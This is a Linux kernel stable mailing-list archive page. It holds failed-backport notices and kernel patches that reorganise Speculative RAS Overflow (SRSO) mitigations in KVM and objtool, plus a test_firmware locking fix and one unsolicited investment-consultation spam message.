Redefine the meaning of the synthetic IBPB flags to:
- ENTRY_IBPB -- issue IBPB on entry (was: entry + VMEXIT)
- IBPB_ON_VMEXIT -- issue IBPB on VMEXIT
And have 'retbleed=ibpb' set *BOTH* feature flags to ensure it retains
the previous behaviour and issues IBPB on entry+VMEXIT.
The new 'srso=ibpb_vmexit' option only sets IBPB_ON_VMEXIT.
Create UNTRAIN_RET_VM specifically for the VMEXIT case, and have that
check IBPB_ON_VMEXIT.
All this avoids having the VMEXIT case having to check both ENTRY_IBPB
and IBPB_ON_VMEXIT and simplifies the alternatives.
Fixes: fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
Signed-off-by: Peter Zijlstra (Intel) <peterz(a)infradead.org>
Signed-off-by: Borislav Petkov (AMD) <bp(a)alien8.de>
Link: https://lore.kernel.org/r/20230814121149.109557833@infradead.org
diff --git a/arch/x86/include/asm/nospec-branch.h b/arch/x86/include/asm/nospec-branch.h
index 5285c8e93dff..c55cc243592e 100644
--- a/arch/x86/include/asm/nospec-branch.h
+++ b/arch/x86/include/asm/nospec-branch.h
@@ -299,6 +299,17 @@
#endif
.endm
+.macro UNTRAIN_RET_VM
+#if defined(CONFIG_CPU_UNRET_ENTRY) || defined(CONFIG_CPU_IBPB_ENTRY) || \
+ defined(CONFIG_CALL_DEPTH_TRACKING) || defined(CONFIG_CPU_SRSO)
+ VALIDATE_UNRET_END
+ ALTERNATIVE_3 "", \
+ CALL_UNTRAIN_RET, X86_FEATURE_UNRET, \
+ "call entry_ibpb", X86_FEATURE_IBPB_ON_VMEXIT, \
+ __stringify(RESET_CALL_DEPTH), X86_FEATURE_CALL_DEPTH
+#endif
+.endm
+
.macro UNTRAIN_RET_FROM_CALL
#if defined(CONFIG_CPU_UNRET_ENTRY) || defined(CONFIG_CPU_IBPB_ENTRY) || \
defined(CONFIG_CALL_DEPTH_TRACKING)
diff --git a/arch/x86/kernel/cpu/bugs.c b/arch/x86/kernel/cpu/bugs.c
index 6f3e19527286..9026e3fe9f6c 100644
--- a/arch/x86/kernel/cpu/bugs.c
+++ b/arch/x86/kernel/cpu/bugs.c
@@ -1054,6 +1054,7 @@ static void __init retbleed_select_mitigation(void)
case RETBLEED_MITIGATION_IBPB:
setup_force_cpu_cap(X86_FEATURE_ENTRY_IBPB);
+ setup_force_cpu_cap(X86_FEATURE_IBPB_ON_VMEXIT);
mitigate_smt = true;
break;
diff --git a/arch/x86/kvm/svm/vmenter.S b/arch/x86/kvm/svm/vmenter.S
index 265452fc9ebe..ef2ebabb059c 100644
--- a/arch/x86/kvm/svm/vmenter.S
+++ b/arch/x86/kvm/svm/vmenter.S
@@ -222,10 +222,7 @@ SYM_FUNC_START(__svm_vcpu_run)
* because interrupt handlers won't sanitize 'ret' if the return is
* from the kernel.
*/
- UNTRAIN_RET
-
- /* SRSO */
- ALTERNATIVE "", "call entry_ibpb", X86_FEATURE_IBPB_ON_VMEXIT
+ UNTRAIN_RET_VM
/*
* Clear all general purpose registers except RSP and RAX to prevent
@@ -362,7 +359,7 @@ SYM_FUNC_START(__svm_sev_es_vcpu_run)
* because interrupt handlers won't sanitize RET if the return is
* from the kernel.
*/
- UNTRAIN_RET
+ UNTRAIN_RET_VM
/* "Pop" @spec_ctrl_intercepted. */
pop %_ASM_BX
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] x86/cpu/kvm: Provide UNTRAIN_RET_VM" failed to apply to 6.1-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 6.1-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-6.1.y
git checkout FETCH_HEAD
git cherry-pick -x 864bcaa38ee44ec6c0e43f79c2d2997b977e26b2
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082125-untainted-putdown-eba5@gregkh' --subject-prefix 'PATCH 6.1.y' HEAD^..
Possible dependencies:
864bcaa38ee4 ("x86/cpu/kvm: Provide UNTRAIN_RET_VM")
d893832d0e1e ("x86/srso: Add IBPB on VMEXIT")
233d6f68b98d ("x86/srso: Add IBPB")
fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
941d77c77339 ("Merge tag 'x86_cpu_for_v6.5' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 864bcaa38ee44ec6c0e43f79c2d2997b977e26b2 Mon Sep 17 00:00:00 2001
From: Peter Zijlstra <peterz(a)infradead.org>
Date: Mon, 14 Aug 2023 13:44:35 +0200
Subject: [PATCH] x86/cpu/kvm: Provide UNTRAIN_RET_VM
Similar to how it doesn't make sense to have UNTRAIN_RET have two
untrain calls, it also doesn't make sense for VMEXIT to have an extra
IBPB call.
This cures VMEXIT doing potentially unret+IBPB or double IBPB.
Also, the (SEV) VMEXIT case seems to have been overlooked.
Redefine the meaning of the synthetic IBPB flags to:
- ENTRY_IBPB -- issue IBPB on entry (was: entry + VMEXIT)
- IBPB_ON_VMEXIT -- issue IBPB on VMEXIT
And have 'retbleed=ibpb' set *BOTH* feature flags to ensure it retains
the previous behaviour and issues IBPB on entry+VMEXIT.
The new 'srso=ibpb_vmexit' option only sets IBPB_ON_VMEXIT.
Create UNTRAIN_RET_VM specifically for the VMEXIT case, and have that
check IBPB_ON_VMEXIT.
All this avoids having the VMEXIT case having to check both ENTRY_IBPB
and IBPB_ON_VMEXIT and simplifies the alternatives.
Fixes: fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
Signed-off-by: Peter Zijlstra (Intel) <peterz(a)infradead.org>
Signed-off-by: Borislav Petkov (AMD) <bp(a)alien8.de>
Link: https://lore.kernel.org/r/20230814121149.109557833@infradead.org
diff --git a/arch/x86/include/asm/nospec-branch.h b/arch/x86/include/asm/nospec-branch.h
index 5285c8e93dff..c55cc243592e 100644
--- a/arch/x86/include/asm/nospec-branch.h
+++ b/arch/x86/include/asm/nospec-branch.h
@@ -299,6 +299,17 @@
#endif
.endm
+.macro UNTRAIN_RET_VM
+#if defined(CONFIG_CPU_UNRET_ENTRY) || defined(CONFIG_CPU_IBPB_ENTRY) || \
+ defined(CONFIG_CALL_DEPTH_TRACKING) || defined(CONFIG_CPU_SRSO)
+ VALIDATE_UNRET_END
+ ALTERNATIVE_3 "", \
+ CALL_UNTRAIN_RET, X86_FEATURE_UNRET, \
+ "call entry_ibpb", X86_FEATURE_IBPB_ON_VMEXIT, \
+ __stringify(RESET_CALL_DEPTH), X86_FEATURE_CALL_DEPTH
+#endif
+.endm
+
.macro UNTRAIN_RET_FROM_CALL
#if defined(CONFIG_CPU_UNRET_ENTRY) || defined(CONFIG_CPU_IBPB_ENTRY) || \
defined(CONFIG_CALL_DEPTH_TRACKING)
diff --git a/arch/x86/kernel/cpu/bugs.c b/arch/x86/kernel/cpu/bugs.c
index 6f3e19527286..9026e3fe9f6c 100644
--- a/arch/x86/kernel/cpu/bugs.c
+++ b/arch/x86/kernel/cpu/bugs.c
@@ -1054,6 +1054,7 @@ static void __init retbleed_select_mitigation(void)
case RETBLEED_MITIGATION_IBPB:
setup_force_cpu_cap(X86_FEATURE_ENTRY_IBPB);
+ setup_force_cpu_cap(X86_FEATURE_IBPB_ON_VMEXIT);
mitigate_smt = true;
break;
diff --git a/arch/x86/kvm/svm/vmenter.S b/arch/x86/kvm/svm/vmenter.S
index 265452fc9ebe..ef2ebabb059c 100644
--- a/arch/x86/kvm/svm/vmenter.S
+++ b/arch/x86/kvm/svm/vmenter.S
@@ -222,10 +222,7 @@ SYM_FUNC_START(__svm_vcpu_run)
* because interrupt handlers won't sanitize 'ret' if the return is
* from the kernel.
*/
- UNTRAIN_RET
-
- /* SRSO */
- ALTERNATIVE "", "call entry_ibpb", X86_FEATURE_IBPB_ON_VMEXIT
+ UNTRAIN_RET_VM
/*
* Clear all general purpose registers except RSP and RAX to prevent
@@ -362,7 +359,7 @@ SYM_FUNC_START(__svm_sev_es_vcpu_run)
* because interrupt handlers won't sanitize RET if the return is
* from the kernel.
*/
- UNTRAIN_RET
+ UNTRAIN_RET_VM
/* "Pop" @spec_ctrl_intercepted. */
pop %_ASM_BX
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] objtool/x86: Fix SRSO mess" failed to apply to 5.10-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.10-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.10.y
git checkout FETCH_HEAD
git cherry-pick -x 4ae68b26c3ab5a82aa271e6e9fc9b1a06e1d6b40
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082142-halves-kinship-fcc3@gregkh' --subject-prefix 'PATCH 5.10.y' HEAD^..
Possible dependencies:
4ae68b26c3ab ("objtool/x86: Fix SRSO mess")
fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
6f612579be9d ("Merge tag 'objtool-core-2023-06-27' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 4ae68b26c3ab5a82aa271e6e9fc9b1a06e1d6b40 Mon Sep 17 00:00:00 2001
From: Peter Zijlstra <peterz(a)infradead.org>
Date: Mon, 14 Aug 2023 13:44:29 +0200
Subject: [PATCH] objtool/x86: Fix SRSO mess
Objtool --rethunk does two things:
- it collects all (tail) call's of __x86_return_thunk and places them
into .return_sites. These are typically compiler generated, but
RET also emits this same.
- it fudges the validation of the __x86_return_thunk symbol; because
this symbol is inside another instruction, it can't actually find
the instruction pointed to by the symbol offset and gets upset.
Because these two things pertained to the same symbol, there was no
pressing need to separate these two separate things.
However, alas, along comes SRSO and more crazy things to deal with
appeared.
The SRSO patch itself added the following symbol names to identify as
rethunk:
'srso_untrain_ret', 'srso_safe_ret' and '__ret'
Where '__ret' is the old retbleed return thunk, 'srso_safe_ret' is a
new similarly embedded return thunk, and 'srso_untrain_ret' is
completely unrelated to anything the above does (and was only included
because of that INT3 vs UD2 issue fixed previous).
Clear things up by adding a second category for the embedded instruction
thing.
Fixes: fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
Signed-off-by: Peter Zijlstra (Intel) <peterz(a)infradead.org>
Signed-off-by: Borislav Petkov (AMD) <bp(a)alien8.de>
Link: https://lore.kernel.org/r/20230814121148.704502245@infradead.org
diff --git a/tools/objtool/arch/x86/decode.c b/tools/objtool/arch/x86/decode.c
index 2d51fa8da9e8..cba8a7be040e 100644
--- a/tools/objtool/arch/x86/decode.c
+++ b/tools/objtool/arch/x86/decode.c
@@ -824,8 +824,11 @@ bool arch_is_retpoline(struct symbol *sym)
bool arch_is_rethunk(struct symbol *sym)
{
- return !strcmp(sym->name, "__x86_return_thunk") ||
- !strcmp(sym->name, "srso_untrain_ret") ||
- !strcmp(sym->name, "srso_safe_ret") ||
- !strcmp(sym->name, "__ret");
+ return !strcmp(sym->name, "__x86_return_thunk");
+}
+
+bool arch_is_embedded_insn(struct symbol *sym)
+{
+ return !strcmp(sym->name, "__ret") ||
+ !strcmp(sym->name, "srso_safe_ret");
}
diff --git a/tools/objtool/check.c b/tools/objtool/check.c
index e2ee10ce7703..191656ee9fbc 100644
--- a/tools/objtool/check.c
+++ b/tools/objtool/check.c
@@ -455,7 +455,7 @@ static int decode_instructions(struct objtool_file *file)
return -1;
}
- if (func->return_thunk || func->alias != func)
+ if (func->embedded_insn || func->alias != func)
continue;
if (!find_insn(file, sec, func->offset)) {
@@ -1288,16 +1288,33 @@ static int add_ignore_alternatives(struct objtool_file *file)
return 0;
}
+/*
+ * Symbols that replace INSN_CALL_DYNAMIC, every (tail) call to such a symbol
+ * will be added to the .retpoline_sites section.
+ */
__weak bool arch_is_retpoline(struct symbol *sym)
{
return false;
}
+/*
+ * Symbols that replace INSN_RETURN, every (tail) call to such a symbol
+ * will be added to the .return_sites section.
+ */
__weak bool arch_is_rethunk(struct symbol *sym)
{
return false;
}
+/*
+ * Symbols that are embedded inside other instructions, because sometimes crazy
+ * code exists. These are mostly ignored for validation purposes.
+ */
+__weak bool arch_is_embedded_insn(struct symbol *sym)
+{
+ return false;
+}
+
static struct reloc *insn_reloc(struct objtool_file *file, struct instruction *insn)
{
struct reloc *reloc;
@@ -1583,7 +1600,7 @@ static int add_jump_destinations(struct objtool_file *file)
* middle of another instruction. Objtool only
* knows about the outer instruction.
*/
- if (sym && sym->return_thunk) {
+ if (sym && sym->embedded_insn) {
add_return_call(file, insn, false);
continue;
}
@@ -2502,6 +2519,9 @@ static int classify_symbols(struct objtool_file *file)
if (arch_is_rethunk(func))
func->return_thunk = true;
+ if (arch_is_embedded_insn(func))
+ func->embedded_insn = true;
+
if (arch_ftrace_match(func->name))
func->fentry = true;
diff --git a/tools/objtool/include/objtool/arch.h b/tools/objtool/include/objtool/arch.h
index 2b6d2ce4f9a5..0b303eba660e 100644
--- a/tools/objtool/include/objtool/arch.h
+++ b/tools/objtool/include/objtool/arch.h
@@ -90,6 +90,7 @@ int arch_decode_hint_reg(u8 sp_reg, int *base);
bool arch_is_retpoline(struct symbol *sym);
bool arch_is_rethunk(struct symbol *sym);
+bool arch_is_embedded_insn(struct symbol *sym);
int arch_rewrite_retpolines(struct objtool_file *file);
diff --git a/tools/objtool/include/objtool/elf.h b/tools/objtool/include/objtool/elf.h
index c532d70864dc..9f71e988eca4 100644
--- a/tools/objtool/include/objtool/elf.h
+++ b/tools/objtool/include/objtool/elf.h
@@ -66,6 +66,7 @@ struct symbol {
u8 fentry : 1;
u8 profiling_func : 1;
u8 warned : 1;
+ u8 embedded_insn : 1;
struct list_head pv_target;
struct reloc *relocs;
};
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] objtool/x86: Fix SRSO mess" failed to apply to 5.15-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.15-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.15.y
git checkout FETCH_HEAD
git cherry-pick -x 4ae68b26c3ab5a82aa271e6e9fc9b1a06e1d6b40
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082140-regress-nemeses-b6bf@gregkh' --subject-prefix 'PATCH 5.15.y' HEAD^..
Possible dependencies:
4ae68b26c3ab ("objtool/x86: Fix SRSO mess")
fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
6f612579be9d ("Merge tag 'objtool-core-2023-06-27' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 4ae68b26c3ab5a82aa271e6e9fc9b1a06e1d6b40 Mon Sep 17 00:00:00 2001
From: Peter Zijlstra <peterz(a)infradead.org>
Date: Mon, 14 Aug 2023 13:44:29 +0200
Subject: [PATCH] objtool/x86: Fix SRSO mess
Objtool --rethunk does two things:
- it collects all (tail) call's of __x86_return_thunk and places them
into .return_sites. These are typically compiler generated, but
RET also emits this same.
- it fudges the validation of the __x86_return_thunk symbol; because
this symbol is inside another instruction, it can't actually find
the instruction pointed to by the symbol offset and gets upset.
Because these two things pertained to the same symbol, there was no
pressing need to separate these two separate things.
However, alas, along comes SRSO and more crazy things to deal with
appeared.
The SRSO patch itself added the following symbol names to identify as
rethunk:
'srso_untrain_ret', 'srso_safe_ret' and '__ret'
Where '__ret' is the old retbleed return thunk, 'srso_safe_ret' is a
new similarly embedded return thunk, and 'srso_untrain_ret' is
completely unrelated to anything the above does (and was only included
because of that INT3 vs UD2 issue fixed previous).
Clear things up by adding a second category for the embedded instruction
thing.
Fixes: fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
Signed-off-by: Peter Zijlstra (Intel) <peterz(a)infradead.org>
Signed-off-by: Borislav Petkov (AMD) <bp(a)alien8.de>
Link: https://lore.kernel.org/r/20230814121148.704502245@infradead.org
diff --git a/tools/objtool/arch/x86/decode.c b/tools/objtool/arch/x86/decode.c
index 2d51fa8da9e8..cba8a7be040e 100644
--- a/tools/objtool/arch/x86/decode.c
+++ b/tools/objtool/arch/x86/decode.c
@@ -824,8 +824,11 @@ bool arch_is_retpoline(struct symbol *sym)
bool arch_is_rethunk(struct symbol *sym)
{
- return !strcmp(sym->name, "__x86_return_thunk") ||
- !strcmp(sym->name, "srso_untrain_ret") ||
- !strcmp(sym->name, "srso_safe_ret") ||
- !strcmp(sym->name, "__ret");
+ return !strcmp(sym->name, "__x86_return_thunk");
+}
+
+bool arch_is_embedded_insn(struct symbol *sym)
+{
+ return !strcmp(sym->name, "__ret") ||
+ !strcmp(sym->name, "srso_safe_ret");
}
diff --git a/tools/objtool/check.c b/tools/objtool/check.c
index e2ee10ce7703..191656ee9fbc 100644
--- a/tools/objtool/check.c
+++ b/tools/objtool/check.c
@@ -455,7 +455,7 @@ static int decode_instructions(struct objtool_file *file)
return -1;
}
- if (func->return_thunk || func->alias != func)
+ if (func->embedded_insn || func->alias != func)
continue;
if (!find_insn(file, sec, func->offset)) {
@@ -1288,16 +1288,33 @@ static int add_ignore_alternatives(struct objtool_file *file)
return 0;
}
+/*
+ * Symbols that replace INSN_CALL_DYNAMIC, every (tail) call to such a symbol
+ * will be added to the .retpoline_sites section.
+ */
__weak bool arch_is_retpoline(struct symbol *sym)
{
return false;
}
+/*
+ * Symbols that replace INSN_RETURN, every (tail) call to such a symbol
+ * will be added to the .return_sites section.
+ */
__weak bool arch_is_rethunk(struct symbol *sym)
{
return false;
}
+/*
+ * Symbols that are embedded inside other instructions, because sometimes crazy
+ * code exists. These are mostly ignored for validation purposes.
+ */
+__weak bool arch_is_embedded_insn(struct symbol *sym)
+{
+ return false;
+}
+
static struct reloc *insn_reloc(struct objtool_file *file, struct instruction *insn)
{
struct reloc *reloc;
@@ -1583,7 +1600,7 @@ static int add_jump_destinations(struct objtool_file *file)
* middle of another instruction. Objtool only
* knows about the outer instruction.
*/
- if (sym && sym->return_thunk) {
+ if (sym && sym->embedded_insn) {
add_return_call(file, insn, false);
continue;
}
@@ -2502,6 +2519,9 @@ static int classify_symbols(struct objtool_file *file)
if (arch_is_rethunk(func))
func->return_thunk = true;
+ if (arch_is_embedded_insn(func))
+ func->embedded_insn = true;
+
if (arch_ftrace_match(func->name))
func->fentry = true;
diff --git a/tools/objtool/include/objtool/arch.h b/tools/objtool/include/objtool/arch.h
index 2b6d2ce4f9a5..0b303eba660e 100644
--- a/tools/objtool/include/objtool/arch.h
+++ b/tools/objtool/include/objtool/arch.h
@@ -90,6 +90,7 @@ int arch_decode_hint_reg(u8 sp_reg, int *base);
bool arch_is_retpoline(struct symbol *sym);
bool arch_is_rethunk(struct symbol *sym);
+bool arch_is_embedded_insn(struct symbol *sym);
int arch_rewrite_retpolines(struct objtool_file *file);
diff --git a/tools/objtool/include/objtool/elf.h b/tools/objtool/include/objtool/elf.h
index c532d70864dc..9f71e988eca4 100644
--- a/tools/objtool/include/objtool/elf.h
+++ b/tools/objtool/include/objtool/elf.h
@@ -66,6 +66,7 @@ struct symbol {
u8 fentry : 1;
u8 profiling_func : 1;
u8 warned : 1;
+ u8 embedded_insn : 1;
struct list_head pv_target;
struct reloc *relocs;
};
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] objtool/x86: Fix SRSO mess" failed to apply to 6.1-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 6.1-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-6.1.y
git checkout FETCH_HEAD
git cherry-pick -x 4ae68b26c3ab5a82aa271e6e9fc9b1a06e1d6b40
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082139-thong-stainless-d304@gregkh' --subject-prefix 'PATCH 6.1.y' HEAD^..
Possible dependencies:
4ae68b26c3ab ("objtool/x86: Fix SRSO mess")
fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
6f612579be9d ("Merge tag 'objtool-core-2023-06-27' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 4ae68b26c3ab5a82aa271e6e9fc9b1a06e1d6b40 Mon Sep 17 00:00:00 2001
From: Peter Zijlstra <peterz(a)infradead.org>
Date: Mon, 14 Aug 2023 13:44:29 +0200
Subject: [PATCH] objtool/x86: Fix SRSO mess
Objtool --rethunk does two things:
- it collects all (tail) call's of __x86_return_thunk and places them
into .return_sites. These are typically compiler generated, but
RET also emits this same.
- it fudges the validation of the __x86_return_thunk symbol; because
this symbol is inside another instruction, it can't actually find
the instruction pointed to by the symbol offset and gets upset.
Because these two things pertained to the same symbol, there was no
pressing need to separate these two separate things.
However, alas, along comes SRSO and more crazy things to deal with
appeared.
The SRSO patch itself added the following symbol names to identify as
rethunk:
'srso_untrain_ret', 'srso_safe_ret' and '__ret'
Where '__ret' is the old retbleed return thunk, 'srso_safe_ret' is a
new similarly embedded return thunk, and 'srso_untrain_ret' is
completely unrelated to anything the above does (and was only included
because of that INT3 vs UD2 issue fixed previous).
Clear things up by adding a second category for the embedded instruction
thing.
Fixes: fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
Signed-off-by: Peter Zijlstra (Intel) <peterz(a)infradead.org>
Signed-off-by: Borislav Petkov (AMD) <bp(a)alien8.de>
Link: https://lore.kernel.org/r/20230814121148.704502245@infradead.org
diff --git a/tools/objtool/arch/x86/decode.c b/tools/objtool/arch/x86/decode.c
index 2d51fa8da9e8..cba8a7be040e 100644
--- a/tools/objtool/arch/x86/decode.c
+++ b/tools/objtool/arch/x86/decode.c
@@ -824,8 +824,11 @@ bool arch_is_retpoline(struct symbol *sym)
bool arch_is_rethunk(struct symbol *sym)
{
- return !strcmp(sym->name, "__x86_return_thunk") ||
- !strcmp(sym->name, "srso_untrain_ret") ||
- !strcmp(sym->name, "srso_safe_ret") ||
- !strcmp(sym->name, "__ret");
+ return !strcmp(sym->name, "__x86_return_thunk");
+}
+
+bool arch_is_embedded_insn(struct symbol *sym)
+{
+ return !strcmp(sym->name, "__ret") ||
+ !strcmp(sym->name, "srso_safe_ret");
}
diff --git a/tools/objtool/check.c b/tools/objtool/check.c
index e2ee10ce7703..191656ee9fbc 100644
--- a/tools/objtool/check.c
+++ b/tools/objtool/check.c
@@ -455,7 +455,7 @@ static int decode_instructions(struct objtool_file *file)
return -1;
}
- if (func->return_thunk || func->alias != func)
+ if (func->embedded_insn || func->alias != func)
continue;
if (!find_insn(file, sec, func->offset)) {
@@ -1288,16 +1288,33 @@ static int add_ignore_alternatives(struct objtool_file *file)
return 0;
}
+/*
+ * Symbols that replace INSN_CALL_DYNAMIC, every (tail) call to such a symbol
+ * will be added to the .retpoline_sites section.
+ */
__weak bool arch_is_retpoline(struct symbol *sym)
{
return false;
}
+/*
+ * Symbols that replace INSN_RETURN, every (tail) call to such a symbol
+ * will be added to the .return_sites section.
+ */
__weak bool arch_is_rethunk(struct symbol *sym)
{
return false;
}
+/*
+ * Symbols that are embedded inside other instructions, because sometimes crazy
+ * code exists. These are mostly ignored for validation purposes.
+ */
+__weak bool arch_is_embedded_insn(struct symbol *sym)
+{
+ return false;
+}
+
static struct reloc *insn_reloc(struct objtool_file *file, struct instruction *insn)
{
struct reloc *reloc;
@@ -1583,7 +1600,7 @@ static int add_jump_destinations(struct objtool_file *file)
* middle of another instruction. Objtool only
* knows about the outer instruction.
*/
- if (sym && sym->return_thunk) {
+ if (sym && sym->embedded_insn) {
add_return_call(file, insn, false);
continue;
}
@@ -2502,6 +2519,9 @@ static int classify_symbols(struct objtool_file *file)
if (arch_is_rethunk(func))
func->return_thunk = true;
+ if (arch_is_embedded_insn(func))
+ func->embedded_insn = true;
+
if (arch_ftrace_match(func->name))
func->fentry = true;
diff --git a/tools/objtool/include/objtool/arch.h b/tools/objtool/include/objtool/arch.h
index 2b6d2ce4f9a5..0b303eba660e 100644
--- a/tools/objtool/include/objtool/arch.h
+++ b/tools/objtool/include/objtool/arch.h
@@ -90,6 +90,7 @@ int arch_decode_hint_reg(u8 sp_reg, int *base);
bool arch_is_retpoline(struct symbol *sym);
bool arch_is_rethunk(struct symbol *sym);
+bool arch_is_embedded_insn(struct symbol *sym);
int arch_rewrite_retpolines(struct objtool_file *file);
diff --git a/tools/objtool/include/objtool/elf.h b/tools/objtool/include/objtool/elf.h
index c532d70864dc..9f71e988eca4 100644
--- a/tools/objtool/include/objtool/elf.h
+++ b/tools/objtool/include/objtool/elf.h
@@ -66,6 +66,7 @@ struct symbol {
u8 fentry : 1;
u8 profiling_func : 1;
u8 warned : 1;
+ u8 embedded_insn : 1;
struct list_head pv_target;
struct reloc *relocs;
};
2 years, 4 months
- 1
- 0
Investment Consultation
by David Brennan
Attn:
I'm an Investment Consultant in the United Kingdom, I specialize
in searching for potential investments opportunities for high
net-worth clients worldwide.
Should this be of interest to you, please do not hesitate to
email me for further information.
Kind regards,
David Brennan
eMail:davbrennanb@gmail.com
2 years, 4 months
- 1
- 0
[PATCH v4 4.19 1/1] test_firmware: prevent race conditions by a correct implementation of locking
by Mirsad Goran Todorovac
[ Upstream commit 4acfe3dfde685a5a9eaec5555351918e2d7266a1 ]
Dan Carpenter spotted a race condition in a couple of situations like
these in the test_firmware driver:
static int test_dev_config_update_u8(const char *buf, size_t size, u8 *cfg)
{
u8 val;
int ret;
ret = kstrtou8(buf, 10, &val);
if (ret)
return ret;
mutex_lock(&test_fw_mutex);
*(u8 *)cfg = val;
mutex_unlock(&test_fw_mutex);
/* Always return full write size even if we didn't consume all */
return size;
}
static ssize_t config_num_requests_store(struct device *dev,
struct device_attribute *attr,
const char *buf, size_t count)
{
int rc;
mutex_lock(&test_fw_mutex);
if (test_fw_config->reqs) {
pr_err("Must call release_all_firmware prior to changing config\n");
rc = -EINVAL;
mutex_unlock(&test_fw_mutex);
goto out;
}
mutex_unlock(&test_fw_mutex);
// NOTE: HERE is the race!!! Function can be preempted!
// test_fw_config->reqs can change between the release of
// the lock about and acquire of the lock in the
// test_dev_config_update_u8()
rc = test_dev_config_update_u8(buf, count,
&test_fw_config->num_requests);
out:
return rc;
}
static ssize_t config_read_fw_idx_store(struct device *dev,
struct device_attribute *attr,
const char *buf, size_t count)
{
return test_dev_config_update_u8(buf, count,
&test_fw_config->read_fw_idx);
}
The function test_dev_config_update_u8() is called from both the locked
and the unlocked context, function config_num_requests_store() and
config_read_fw_idx_store() which can both be called asynchronously as
they are driver's methods, while test_dev_config_update_u8() and siblings
change their argument pointed to by u8 *cfg or similar pointer.
To avoid deadlock on test_fw_mutex, the lock is dropped before calling
test_dev_config_update_u8() and re-acquired within test_dev_config_update_u8()
itself, but alas this creates a race condition.
Having two locks wouldn't assure a race-proof mutual exclusion.
This situation is best avoided by the introduction of a new, unlocked
function __test_dev_config_update_u8() which can be called from the locked
context and reducing test_dev_config_update_u8() to:
static int test_dev_config_update_u8(const char *buf, size_t size, u8 *cfg)
{
int ret;
mutex_lock(&test_fw_mutex);
ret = __test_dev_config_update_u8(buf, size, cfg);
mutex_unlock(&test_fw_mutex);
return ret;
}
doing the locking and calling the unlocked primitive, which enables both
locked and unlocked versions without duplication of code.
Fixes: c92316bf8e948 ("test_firmware: add batched firmware tests")
Cc: Luis R. Rodriguez <mcgrof(a)kernel.org>
Cc: Greg Kroah-Hartman <gregkh(a)linuxfoundation.org>
Cc: Russ Weight <russell.h.weight(a)intel.com>
Cc: Takashi Iwai <tiwai(a)suse.de>
Cc: Tianfei Zhang <tianfei.zhang(a)intel.com>
Cc: Shuah Khan <shuah(a)kernel.org>
Cc: Colin Ian King <colin.i.king(a)gmail.com>
Cc: Randy Dunlap <rdunlap(a)infradead.org>
Cc: linux-kselftest(a)vger.kernel.org
Cc: stable(a)vger.kernel.org # v5.4, 4.19, 4.14
Suggested-by: Dan Carpenter <error27(a)gmail.com>
Link: https://lore.kernel.org/r/20230509084746.48259-1-mirsad.todorovac@alu.unizg…
Signed-off-by: Mirsad Goran Todorovac <mirsad.todorovac(a)alu.unizg.hr>
[ This is the patch to fix the racing condition in locking for the 5.4, ]
[ 4.19 and 4.14 stable branches. Not all the fixes from the upstream ]
[ commit apply, but those which do are verbatim equal to those in the ]
[ upstream commit. ]
---
v4:
verbatim the same patch as for the 5.4 stable tree which patchwork failed to apply.
lib/test_firmware.c | 37 ++++++++++++++++++++++++++++---------
1 file changed, 28 insertions(+), 9 deletions(-)
diff --git a/lib/test_firmware.c b/lib/test_firmware.c
index b5e779bcfb34..be3baea88b61 100644
--- a/lib/test_firmware.c
+++ b/lib/test_firmware.c
@@ -284,16 +284,26 @@ static ssize_t config_test_show_str(char *dst,
return len;
}
-static int test_dev_config_update_bool(const char *buf, size_t size,
- bool *cfg)
+static inline int __test_dev_config_update_bool(const char *buf, size_t size,
+ bool *cfg)
{
int ret;
- mutex_lock(&test_fw_mutex);
if (strtobool(buf, cfg) < 0)
ret = -EINVAL;
else
